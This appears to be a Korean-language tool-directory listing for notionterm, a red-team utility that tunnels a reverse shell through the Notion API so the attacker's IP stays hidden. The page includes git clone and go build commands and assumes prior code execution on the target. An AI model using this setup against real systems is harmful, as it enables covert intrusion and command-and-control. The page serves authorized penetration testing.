Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
notionterm — Notion API를 프록시로 사용하여 Notion 페이지에 리버스 셸을 임베드함으로써, 암호화 및 인증된 통신을 통해 은밀한 원격 셸 세션을 가능하게 하여 레드 팀 작전을 지원합니다. | Kitploit
도구/GitHubGitHub/ariary/notionterm
Payload GenerationExploitationReverse EngineeringWeb SecurityCommand and ControlRed Teaming
GitHubariary/notionterm

notionterm

Notion API를 프록시로 사용하여 Notion 페이지에 리버스 셸을 임베드함으로써, 암호화 및 인증된 통신을 통해 은밀한 원격 셸 세션을 가능하게 하여 레드 팀 작전을 지원합니다.

저장소 보기
137153년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

notionterm

Notion 페이지에 리버스 셸을 임베드하세요. Notion.
노트를 작성하면서 해킹하세요.


demo


➕ 용도:

  • 리버스 셸에서 공격자 IP 숨기기 (공격자와 대상 머신 간 직접 상호작용 없음. Notion이 리버스 셸을 호스팅하는 프록시로 사용됨)
  • 보고서 내 데모/빠른 증명 삽입
  • 고가용성 및 공유 가능한 리버스 셸 (데스크탑, 브라우저, 모바일)
  • 암호화 및 인증된 원격 셸

➖ 용도 아님:

  • 장시간 및 대화형 셸 세션 (이 경우 tacos 참고)

이유? 🤔

초점은 사용 가능하면서도 재미있는 것을 만드는 데 있었지만, 이것이 침투 테스터 도구 세트의 리버스 셸에 대한 '그' 해결책이 되려는 것은 아닙니다.

방법? 🤷‍♂️

평소처럼 Notion을 사용하고 대상에서 notionterm을 실행하세요.

요구사항 🖊️

  • Notion 소프트웨어 및 API 키
  • 대상에서 notion 도메인으로의 HTTP 통신 허용
  • 대상에 대한 사전 RCE

OffensiveNotion 및 notionion의 훌륭한 아이디어에서 대략 영감을 받았습니다!

TL;DR

명령어와 플래그를 배우는 것은 너무 지루합니다: wrap-notionterm.sh를 사용하세요

Quickstart

🏗️ Set-up

  1. 페이지를 생성하고 통합 API 키에 페이지 쓰기 권한을 부여하세요.
  2. notionterm을 빌드하고 대상 머신으로 전송하세요. (Build 참고)

👟 Run

notionterm을 실행하는 세 가지 주요 방법이 있습니다:

"일반" 모드
터미널 가져오기, 중지/재개 등...
notionterm [flags]
버튼 위젯으로 셸 시작: ON으로 전환하여 리버스 셸 작업 수행, OFF로 전환하여 일시 중지, ON으로 전환하여 재개 등...
"서버" 모드
모든 페이지에 notionterm 임베딩 용이
notionterm --server [flags]
페이지 ID를 포함한 URL로 임베드 블록을 생성하여 모든 페이지에서 셸 세션 시작 (CTRL+L로 페이지 ID 확인): https://[TARGET_URL]/notionterm?url=[NOTION_PAGE_ID].
light 모드
대상 → notion으로만 HTTP 트래픽 수행
notionterm light [flags]

Build

notionterm은 대상 머신에서 실행되도록 설계되었으므로 대상에 맞게 빌드해야 합니다.

따라서 대상 요구사항에 맞게 환경 변수를 설정하세요:

root@kitploit:~
GOOS=[windows/linux/darwin]

Simple build

root@kitploit:~
git clone https://github.com/ariary/notionterm.git && cd notionterm
GOOS=$GOOS go build notionterm.go

환경 변수(NOTION_TOKEN 및 NOTION_PAGE_URL) 또는 플래그(--token 및 --page-url)를 사용하여 API 키와 Notion 페이지 URL을 설정해야 합니다.

"All-inclusive" build

Notion 통합 API 토큰과 페이지 URL을 바이너리에 직접 임베드합니다. ⚠️ 바이너리에 접근 권한이 있는 모든 사람이 토큰을 검색할 수 있습니다. 보안상의 이유로 공유하지 말고 사용 후 제거하세요.

해당 환경 변수 설정:

root@kitploit:~
export NOTION_PAGE_URL=[NOTION_PAGE_URL]
export NOTION_TOKEN=[INTEGRATION_NOTION_TOKEN]

그리고 빌드하세요:

root@kitploit:~
git clone https://github.com/ariary/notionterm.git && cd notionterm
./static-build.sh $NOTION_PAGE_URL $NOTION_TOKEN $GOOS
도구 다운로드